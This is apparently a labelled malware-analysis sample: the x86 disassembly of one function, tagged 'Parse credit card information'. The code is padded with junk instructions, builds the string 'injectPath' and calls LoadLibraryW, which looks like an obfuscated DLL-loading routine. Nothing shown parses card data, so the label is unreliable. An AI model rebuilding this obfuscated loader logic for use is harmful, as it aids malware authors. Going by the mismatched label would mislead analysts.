Function at 0x1000cc00
Capabilities:
Parse credit card information

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1002a2b3
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0xbc
cmp eax, 0xfffffff2
mov eax, ebx
mov eax, ecx
inc eax
nop
nop
cmp eax, 0xffffffeb
mov eax, 0xedc0197f
inc eax
mov eax, ecx
mov eax, ebx
mov eax, 0x6aca005e
mov eax, 0x9eecd34c
inc eax
mov eax, 0xdc09c04
mov eax, ebx
nop
push 3
push 2
push 1
call fcn.1000c1f0
add esp, 0xc
mov eax, 2
imul ecx, eax, 0
mov edx, 0x69
mov word [ebp + ecx - 0x28], dx
mov eax, 0x974861d
cmp eax, 0xfffffff6
mov eax, 0x5eea1ff7
mov eax, 0x51091316
nop
inc eax
mov eax, ebx
mov eax, ecx
nop
mov eax, ebx
mov eax, 0x1503e5d3
cmp eax, 0x631c74b0
cmp eax, 0x1d
inc eax
inc eax
push 3
push 2
push 1
call fcn.1000c1f0
add esp, 0xc
mov eax, 2
shl eax, 1
mov ecx, 0x6a
mov word [ebp + eax - 0x28], cx
nop
mov eax, ebx
nop
cmp eax, 0x3d
cmp eax, 0xffffffc3
inc eax
inc eax
nop
cmp eax, 0x91184285
mov eax, 0x9ac9c967
mov eax, ecx
cmp eax, 0xc
mov eax, ebx
mov eax, ecx
cmp eax, 0xffffffe6
mov eax, ebx
nop
nop
mov eax, ebx
nop
push 3
push 2
push 1
call fcn.1000c1f0
add esp, 0xc
mov edx, 2
imul eax, edx, 5
mov ecx, 0x74
mov word [ebp + eax - 0x28], cx
cmp eax, 0xd47cd850
nop
mov eax, 0x45e7031c
mov eax, ebx
cmp eax, 0xa041c48a
cmp eax, 0xffffff80
cmp eax, 0x9226cdb4
mov eax, ebx
mov eax, ecx
cmp eax, 0xffffffb1
cmp eax, 0xd418c713
mov eax, ecx
nop
nop
push 3
push 2
push 1
call fcn.1000c1f0
add esp, 0xc
mov edx, 2
shl edx, 0
mov eax, 0x6e
mov word [ebp + edx - 0x28], ax
mov eax, ecx
inc eax
mov eax, 0x7edd7009
mov eax, ebx
cmp eax, 0x2c
cmp eax, 0x4b
mov eax, 0xfefa790d
cmp eax, 0x99a2bc9e
mov eax, ecx
cmp eax, 5
cmp eax, 0x511e01ac
nop
mov eax, ecx
mov eax, ecx
nop
push 3
push 2
push 1
call fcn.1000c1f0
add esp, 0xc
mov ecx, 2
shl ecx, 2
mov edx, 0x63
mov word [ebp + ecx - 0x28], dx
nop
nop
mov eax, ebx
mov eax, ebx
cmp eax, 0x93fd2339
nop
cmp eax, 0x38
cmp eax, 0x60
cmp eax, 0x878ed38
mov eax, 0xd4d16ee7
mov eax, ebx
cmp eax, 0x456c6b95
mov eax, ecx
cmp eax, 0x74
inc eax
nop
push 3
push 2
push 1
call fcn.1000c1f0
add esp, 0xc
mov eax, 2
imul ecx, eax, 7
mov edx, 0x61
mov word [ebp + ecx - 0x28], dx
mov eax, ebx
mov eax, ecx
cmp eax, 0x45
cmp eax, 0xfffffff5
cmp eax, 0xffffffd5
cmp eax, 0x7e
inc eax
inc eax
inc eax
mov eax, 0x1f4c731
mov eax, 0x8c71ee3f
cmp eax, 0x19
mov eax, ecx
mov eax, ebx
mov eax, ebx
nop
cmp eax, 0xffffff96
push 3
push 2
push 1
call fcn.1000c1f0
add esp, 0xc
mov eax, 2
imul ecx, eax, 6
mov edx, 0x50
mov word [ebp + ecx - 0x28], dx
cmp eax, 0xeb7c1c3c
cmp eax, 0xffffffef
mov eax, 0x10949718
mov eax, ecx
inc eax
mov eax, ecx
mov eax, ecx
cmp eax, 0xcee73502
inc eax
nop
nop
mov eax, ecx
cmp eax, 0xffffffda
mov eax, ecx
mov eax, ecx
nop
nop
mov eax, ebx
inc eax
push 3
push 2
push 1
call fcn.1000c1f0
add esp, 0xc
mov eax, 2
imul ecx, eax, 3
mov edx, 0x65
mov word [ebp + ecx - 0x28], dx
inc eax
nop
inc eax
mov eax, ecx
mov eax, 0x8dc3ed8a
nop
cmp eax, 0x22f7accc
mov eax, 0x4d1a3023
mov eax, ebx
nop
mov eax, ebx
cmp eax, 0xb5889e0c
nop
mov eax, ebx
mov eax, 0xcc173377
nop
mov eax, ebx
push 3
push 2
push 1
call fcn.1000c1f0
add esp, 0xc
mov eax, 2
shl eax, 3
mov ecx, 0x74
mov word [ebp + eax - 0x28], cx
inc eax
mov eax, ecx
mov eax, 0x52ad906b
cmp eax, 0xecfcbad2
inc eax
cmp eax, 0xffffff8c
nop
cmp eax, 0x40
inc eax
nop
cmp eax, 0x10
cmp eax, 0x26
cmp eax, 0xebbc284a
mov eax, 0xb6a40e84
inc eax
mov eax, ebx
push 3
push 2
push 1
call fcn.1000c1f0
add esp, 0xc
mov edx, 2
imul eax, edx, 0xa
xor ecx, ecx
mov word [ebp + eax - 0x28], cx
mov eax, ecx
nop
cmp eax, 0x5180f390
mov eax, 0xcd3a3c8a
cmp eax, 0xf70e9e5
inc eax
mov eax, 0xa19fddd0
mov eax, ecx
inc eax
mov eax, 0x16bd9ac6
cmp eax, 0xca7d6ce1
mov eax, ebx
mov eax, ecx
inc eax
push 3
push 2
push 1
call fcn.1000c1f0
add esp, 0xc
mov edx, 2
imul eax, edx, 9
mov ecx, 0x68
mov word [ebp + eax - 0x28], cx
mov eax, 0xc775840e
mov eax, 0xd653cdaf
cmp eax, 0xfffffffc
mov eax, ebx
nop
mov eax, ecx
cmp eax, 0x48
mov eax, ebx
cmp eax, 0x5e
cmp eax, 0x69ecb9f8
inc eax
mov eax, 0x1160a8aa
cmp eax, 0xffffffc0
inc eax
nop
push 3
push 2
push 1
call fcn.1000c1f0
add esp, 0xc
lea ecx, [ebp - 0x50]
call fcn.10006990
mov dword [ebp - 4], 0
cmp eax, 0xffffffc9
inc eax
mov eax, ecx
mov eax, ecx
mov eax, ebx
cmp eax, 0x63
mov eax, ecx
mov eax, ebx
cmp eax, 0x94a3698a
mov eax, ecx
mov eax, ecx
nop
cmp eax, 0x20
mov eax, ebx
nop
cmp eax, 0x7d
mov eax, ebx
mov eax, ebx
mov eax, ecx
push 3
push 2
push 1
call fcn.1000c1f0
add esp, 0xc
lea edx, [ebp - 0x28]
push edx
lea ecx, [ebp - 0x80]
call fcn.10006b50
mov byte [ebp - 4], 1
lea eax, [ebp - 0x80]
push eax
call fcn.10008cf0
add esp, 4
mov byte [ebp - 0xd], al
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x80]
call fcn.10007a70
movzx ecx, byte [ebp - 0xd]
test ecx, ecx
je 0x1000d104
mov eax, ecx
mov eax, ebx
cmp eax, 0x1a5a458b
mov eax, ecx
cmp eax, 0xffffffbc
cmp eax, 0x25
cmp eax, 0x28f35d7d
inc eax
mov eax, ebx
mov eax, ecx
nop
mov eax, ebx
inc eax
mov eax, ecx
nop
cmp eax, 0xcb8312dc
inc eax
nop
nop
push 3
push 2
push 1
call fcn.1000c1f0
add esp, 0xc
lea edx, [ebp - 0x28]
push edx
lea eax, [ebp - 0x98]
push eax
call fcn.1000e1f0
add esp, 8
mov dword [ebp - 0x2c], eax
mov ecx, dword [ebp - 0x2c]
push ecx
lea ecx, [ebp - 0x50]
call fcn.10008040
lea ecx, [ebp - 0x98]
call fcn.10007a30
inc eax
mov eax, 0x5886ee64
mov eax, ecx
nop
mov eax, 0x15b5f981
cmp eax, 0x14
cmp eax, 0x6e
mov eax, ecx
nop
mov eax, 0x7e62e3c5
mov eax, 0x2e7d177b
nop
mov eax, 0x1a858729
mov eax, ebx
inc eax
push 3
push 2
push 1
call fcn.1000c1f0
add esp, 0xc
push 0xfde9
lea ecx, [ebp - 0x50]
call fcn.1000bb00
push eax
call fcn.10008b10
add esp, 8
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
cmp eax, 0xfe9da3c6
mov eax, 0x5c050e6d
mov eax, 0xc4bc206
mov eax, 0x1940a037
mov eax, 0xdd064fc0
cmp eax, 0xffffffff
inc eax
mov eax, ecx
cmp eax, 0xffffffdd
mov eax, ecx
nop
mov eax, ebx
mov eax, ecx
inc eax
push 3
push 2
push 1
call fcn.1000c1f0
add esp, 0xc
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x50]
call fcn.10007a30
jmp 0x1000d35d
lea edx, [ebp - 0x28]
push edx
push 0x1002bee8
lea eax, [ebp - 0xb0]
push eax
call fcn.10008d60
add esp, 4
mov dword [ebp - 0x30], eax
mov ecx, dword [ebp - 0x30]
mov dword [ebp - 0x34], ecx
mov byte [ebp - 4], 2
mov ecx, dword [ebp - 0x34]
call fcn.1000b5a0
mov ecx, eax
call fcn.1000b5a0
push eax
lea ecx, [ebp - 0x68]
call fcn.10006a50
mov byte [ebp - 4], 4
lea ecx, [ebp - 0xb0]
call fcn.10007a70
inc eax
cmp eax, 0xfffffff4
mov eax, ebx
mov eax, ecx
inc eax
cmp eax, 0xdc0bcfeb
mov eax, 0xf743596
cmp eax, 0xf387cfb0
cmp eax, 0x8c7ac846
cmp eax, 0xffffffa7
nop
cmp eax, 0x6c
mov eax, ebx
inc eax
nop
nop
nop
push 3
push 2
push 1
call fcn.1000c1f0
add esp, 0xc
lea edx, [ebp - 0x68]
push edx
call fcn.10008cf0
add esp, 4
movzx eax, al
test eax, eax
je 0x1000d2b6
mov eax, ebx
mov eax, ebx
cmp eax, 0x46
mov eax, ecx
cmp eax, 0x2f
mov eax, ebx
inc eax
mov eax, ebx
mov eax, ecx
cmp eax, 0xf2674e7f
cmp eax, 0xffffffe4
mov eax, 0xa6fa6d4d
cmp eax, 0x5eb24ea4
mov eax, ebx
mov eax, ebx
inc eax
push 3
push 2
push 1
call fcn.1000c1f0
add esp, 0xc
lea ecx, [ebp - 0x68]
call fcn.1000bb40
push eax
lea ecx, [ebp - 0xc8]
push ecx
call fcn.1000e1f0
add esp, 8
mov dword [ebp - 0x38], eax
mov edx, dword [ebp - 0x38]
push edx
lea ecx, [ebp - 0x50]
call fcn.10008040
lea ecx, [ebp - 0xc8]
call fcn.10007a30
cmp eax, 0xffffffad
nop
mov eax, 0xb186370d
mov eax, ebx
mov eax, 0xc1920c01
mov eax, ebx
inc eax
inc eax
cmp eax, 0xffffffab
mov eax, ecx
mov eax, ecx
cmp eax, 0x4b7b09a7
mov eax, ebx
mov eax, ebx
nop
mov eax, 0x9e967e10
push 3
push 2
push 1
call fcn.1000c1f0
add esp, 0xc
push 0xfde9
lea ecx, [ebp - 0x50]
call fcn.1000bb00
push eax
call fcn.10008b10
add esp, 8
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
nop
mov eax, ecx
mov eax, ecx
mov eax, 0x9581c94f
cmp eax, 0x9e9af777
nop
inc eax
cmp eax, 0xc7f2d527
mov eax, ecx
inc eax
cmp eax, 0xffffffc3
mov eax, ebx
nop
inc eax
cmp eax, 0xc696daaa
nop
cmp eax, 0x39
inc eax
push 3
push 2
push 1
call fcn.1000c1f0
add esp, 0xc
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x68]
call fcn.10007a70
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x50]
call fcn.10007a30
jmp 0x1000d35d
mov eax, 0xe8876346
inc eax
mov eax, 0x4061be55
nop
cmp eax, 0xec45c813
inc eax
nop
nop
inc eax
inc eax
cmp eax, 0x4882b5db
cmp eax, 0xc7349794
mov eax, 0xfa44f48d
mov eax, ecx
mov eax, ecx
nop
push 3
push 2
push 1
call fcn.1000c1f0
add esp, 0xc
push 0x41030
lea ecx, [ebp - 0x68]
call fcn.1000bb40
push eax
mov eax, 0x1002beec
push eax
push 0
call dword [sym.imp.USER32.dll_MessageBoxW]
nop
inc eax
cmp eax, 0x505fea4b
nop
cmp eax, 0xc4b58f60
mov eax, ebx
cmp eax, 0x4a
mov eax, 0x8b847c0b
mov eax, ebx
mov eax, ecx
mov eax, ecx
inc eax
mov eax, ecx
mov eax, 0x84f54abe
inc eax
nop
nop
nop
inc eax
push 3
push 2
push 1
call fcn.1000c1f0
add esp, 0xc
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x68]
call fcn.10007a70
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x50]
call fcn.10007a30
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret